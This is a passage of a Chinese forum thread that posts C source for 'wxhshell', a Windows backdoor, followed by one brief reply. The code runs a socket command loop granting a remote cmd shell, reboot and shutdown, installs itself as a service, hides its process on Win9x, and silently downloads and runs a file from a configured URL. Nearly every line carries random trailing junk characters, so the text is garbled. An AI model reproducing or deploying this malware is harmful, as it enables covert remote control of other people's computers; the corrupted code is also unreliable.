  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;l %$-/%  
  else ?Gl]O3@3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~NMx:PP  
  } |z7V1xF  
  else { 6Hp+?mmh  
B[,AR"#b  
    switch(cmd[0]) { BPuum  
  \i'Z(1  
  // 帮助 R*=88ds  
  case '?': { FS)"MDs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bu9.Hv T'  
    break; w^"IR  
  } v YJ9G"E  
  // 安装 ?g9:xgkF ^  
  case 'i': { d9&   
    if(Install()) `/O AgV"`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a$j ~YUG_  
    else )qRH?Hsb7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Ccyj/  
    break; 16ZyLt  
    } `Gj(>z*  
  // 卸载 dEZUK vo  
  case 'r': { q{ [!" ,  
    if(Uninstall()) ]|-sZ<?<i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xg}Q~,:  
    else b'W.l1]<-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q5^ #:uZ  
    break; ^TtL-|I  
    } M!46^q~-  
  // 显示 wxhshell 所在路径 <2E|URo,#  
  case 'p': { =C2KHNc  
    char svExeFile[MAX_PATH]; vc :%  
    strcpy(svExeFile,"\n\r"); /&c2O X|Z  
      strcat(svExeFile,ExeFile); :r>^^tGT!  
        send(wsh,svExeFile,strlen(svExeFile),0); pM^ZC  
    break; _ 6SAU8M,  
    } <5? pa3  
  // 重启 o_1N "o%  
  case 'b': { kO5lLqE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cNbUr  
    if(Boot(REBOOT)) a%A!Dz S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); * bd3^mP  
    else { $J^fpXO  
    closesocket(wsh); t/}NX[q  
    ExitThread(0); ^v `naA(  
    } $AT@r"  
    break; o] Xt2E  
    } 41x"Q?.bY  
  // 关机 /O5&)%N  
  case 'd': { e P,bFc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Wqkzj^;"G  
    if(Boot(SHUTDOWN)) Wqkb1~]#Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o{6q>Jm  
    else { |his8\C+x  
    closesocket(wsh); B>W8pZu-J  
    ExitThread(0); 0-uw3U<  
    } XZ . T%g  
    break; _6Y+E"@zs  
    } 9b&|'BBW  
  // 获取shell P}]o$nWT  
  case 's': { xbBqR _ H_  
    CmdShell(wsh); cGiL9|k  
    closesocket(wsh); *f3StX  
    ExitThread(0); +J|H~`  
    break; pB4Uc<e  
  } )S 7+y6f&*  
  // 退出 r\d(*q3B  
  case 'x': { 43pe6 ^.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |mP};&b  
    CloseIt(wsh); ^$5 0[  
    break; A#6zI NK#B  
    } LQHL4jRXU  
  // 离开 {O9(<g  
  case 'q': { 8Z0x*Ssk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @zC6`  
    closesocket(wsh); d\ 8v VZ  
    WSACleanup(); W&=OtN U!  
    exit(1); Lo~ ;pvv  
    break; 'S1u@p,q  
        } .07`nIs"  
  } ~N/r;omVc  
  } mUbm3JIjJ  
4;I\% qes  
  // 提示信息 | DV?5>>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~W[I  
} HT6 [Z1  
  } #n'.a1R  
 v&|65[<  
  return; `Bw]PO  
} {$,\Qg  
t|$ jgM  
// shell模块句柄 $8)XN-%(  
int CmdShell(SOCKET sock) ~g\~x  
{ rNR7}o~qo  
STARTUPINFO si; Rh ^(91d  
ZeroMemory(&si,sizeof(si)); F)(^c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gLB(A\yG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |ZL?Pqki  
PROCESS_INFORMATION ProcessInfo; {2h *NFp  
char cmdline[]="cmd"; b!P,+!<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CtXbAcN2B  
  return 0; V6X )L>!xx  
} @^<odmM  
\y5lYb,*c_  
// 自身启动模式 jZ |M$I3*  
int StartFromService(void) B=!!R]dxA  
{ W!wof- 1  
typedef struct J(l\VvK  
{ PqV F}  
  DWORD ExitStatus; ?1D!%jfi  
  DWORD PebBaseAddress; B S*79heY  
  DWORD AffinityMask; $ ]s^M=8  
  DWORD BasePriority; N<9 c/V  
  ULONG UniqueProcessId; y)fMVD"(  
  ULONG InheritedFromUniqueProcessId; 7a1o#O  
}   PROCESS_BASIC_INFORMATION; ,7LfvZj4[  
/[<F f  
PROCNTQSIP NtQueryInformationProcess; 2ZY$/  
&em~+83  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W;Y^(f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M bWby'  
=I`S7oF  
  HANDLE             hProcess; =mO5~~"W+v  
  PROCESS_BASIC_INFORMATION pbi; $<v4c5r]O  
t,?, T~#9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2%sZaM  
  if(NULL == hInst ) return 0; (dq_ ,LI  
=/Gd<qz3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); . vb##D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -N*[f9EJB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $6a9<&LP_  
Gr\ ]6  
  if (!NtQueryInformationProcess) return 0; A?H#bRAs  
Hu"$ )V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 509T?\r  
  if(!hProcess) return 0; (oG YnN,2  
}PBme'kP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ENZym  
J'}+0mln  
  CloseHandle(hProcess); m$p}cok#+S  
rLsY_7!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5vyg-'  
if(hProcess==NULL) return 0; A|\A|8=b  
,`}y J*7  
HMODULE hMod; pUHgjwT'U  
char procName[255]; "E\vdhk  
unsigned long cbNeeded; ,VS\mG/}s  
%J M$]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zMv`<m%  
-D~K9u]U_  
  CloseHandle(hProcess); VcrMlcnO  
!T,<p    
if(strstr(procName,"services")) return 1; // 以服务启动 x4I!f)8Q  
tnJ7m8JmC  
  return 0; // 注册表启动 O2Qmz=%  
} MJ JC6:  
SaXt"Ju,AH  
// 主模块 EHwb?{  
int StartWxhshell(LPSTR lpCmdLine) klUV&O+=%  
{ ^ 8}P_  
  SOCKET wsl; K1 "HJsj  
BOOL val=TRUE; yMNJHiE/  
  int port=0; @D;K&:~|N  
  struct sockaddr_in door; HPt3WBRzS;  
z\m$>C|  
  if(wscfg.ws_autoins) Install(); U4"^NLAq  
C ~h#pAh  
port=atoi(lpCmdLine); Qn$'bK2V  
\6wltTW]#  
if(port<=0) port=wscfg.ws_port; 05 6K)E  
LO_Xr j  
  WSADATA data; uVqc:Q"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jlBsm'M<m  
M7/5e3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @&m [w'tn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p%$r\G-x  
  door.sin_family = AF_INET; bo=H-d|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~rV$.:%va  
  door.sin_port = htons(port); [)I^v3]U  
S%\5"uGa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QZVyU8j3  
closesocket(wsl); 9K& $8aD  
return 1; ^UvL1+  
} 0XA\Ag\`G  
!f/K:CK|  
  if(listen(wsl,2) == INVALID_SOCKET) { 2U[/"JL  
closesocket(wsl); >)WE3PT/O"  
return 1; u.2X "  
} k{f1q>gd  
  Wxhshell(wsl); f! +d*9  
  WSACleanup(); fz|*Plv  
D9g*+KM&  
return 0; `:iMGq ZN  
(csk   
} sccLP_#Z  
. V!5Ui<  
// 以NT服务方式启动 2?ue.1C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +O8[4zn&k  
{ bSIY|/d+  
DWORD   status = 0; N6[Z*5efR  
  DWORD   specificError = 0xfffffff; 'gN[LERT  
vu.ug$T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Aa9l-:R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; | d*<4-:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $(62j0mS>  
  serviceStatus.dwWin32ExitCode     = 0; @{IX do  
  serviceStatus.dwServiceSpecificExitCode = 0; <2(X?,N5BD  
  serviceStatus.dwCheckPoint       = 0; (h wzA *(c  
  serviceStatus.dwWaitHint       = 0; @>z.chM;  
F[c oa5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t 9(,JC0  
  if (hServiceStatusHandle==0) return; q,sO<1wAT\  
D!* SA  
status = GetLastError(); CRo @+p10  
  if (status!=NO_ERROR) QO$18MBcc  
{ <@M5 C -hH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^h_rE |c  
    serviceStatus.dwCheckPoint       = 0; KYTXf+oh  
    serviceStatus.dwWaitHint       = 0; /[Nkk)8-  
    serviceStatus.dwWin32ExitCode     = status; "I=Lbh-`  
    serviceStatus.dwServiceSpecificExitCode = specificError; -d?<t}a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ` &=%p|  
    return; D Z~036  
  } (Tq)!h35B  
A6KP(@   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x<t ?Yc9  
  serviceStatus.dwCheckPoint       = 0; 67/@J)z0%  
  serviceStatus.dwWaitHint       = 0; PdKcDKJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); */{y%  
} c:=HN-*vQ  
\)*\$I\]  
// 处理NT服务事件,比如:启动、停止 d1yLDj?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .P8m%$'N  
{ k'X"jon  
switch(fdwControl) xRZ K&vkKE  
{ "X<V>q$0~c  
case SERVICE_CONTROL_STOP: p+Yy"wH:h{  
  serviceStatus.dwWin32ExitCode = 0; iu=@ h>C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  =glG |  
  serviceStatus.dwCheckPoint   = 0; + $M<ck?Bo  
  serviceStatus.dwWaitHint     = 0; XFFm 'W6@  
  { Cno[:iom  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y@}WxSK*0  
  } 9|jMN j]vo  
  return; l/?bXNt  
case SERVICE_CONTROL_PAUSE: Zc";R!At  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; * r4FOA%P  
  break; >]B_+r0m^  
case SERVICE_CONTROL_CONTINUE: `m V(:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N/C$8D34  
  break; ?RE"<L  
case SERVICE_CONTROL_INTERROGATE: )3F}IgD  
  break; U7LCd+Z 5X  
}; 2n"-~'3\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dM"5obEb  
} YxnZ0MY  
DW,Z})9  
// 标准应用程序主函数 mJ8EiRSE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7iy2V;}  
{ uEsF 8  
6Po {tKU  
// 获取操作系统版本 asW W@E  
OsIsNt=GetOsVer(); akj#.aYk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E?&YcVA  
R<3 -!p1v  
  // 从命令行安装 iQ;lvOja  
  if(strpbrk(lpCmdLine,"iI")) Install(); s_Z5M2o  
1q ZnyJ  
  // 下载执行文件 6d5q<C_3t  
if(wscfg.ws_downexe) { $5#DU__F/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OZKZv,  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8VpmcGvc3  
} ;5|d[r}k3  
p;%5o0{1  
if(!OsIsNt) { e[Z-&'  
// 如果时win9x,隐藏进程并且设置为注册表启动 [IyC}lSW^-  
HideProc(); aYtW!+#  
StartWxhshell(lpCmdLine); K=4|GZ~p}`  
}  >YdLB@  
else [pt U}  
  if(StartFromService()) 2L.6!THG  
  // 以服务方式启动 y`z?lmV)xM  
  StartServiceCtrlDispatcher(DispatchTable); X~*/ ~f  
else \^cXmyQ<%  
  // 普通方式启动 !(S.7#-r  
  StartWxhshell(lpCmdLine); oh:.iL}j  
Nbf >Y  
return 0; v/7^v}[<  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八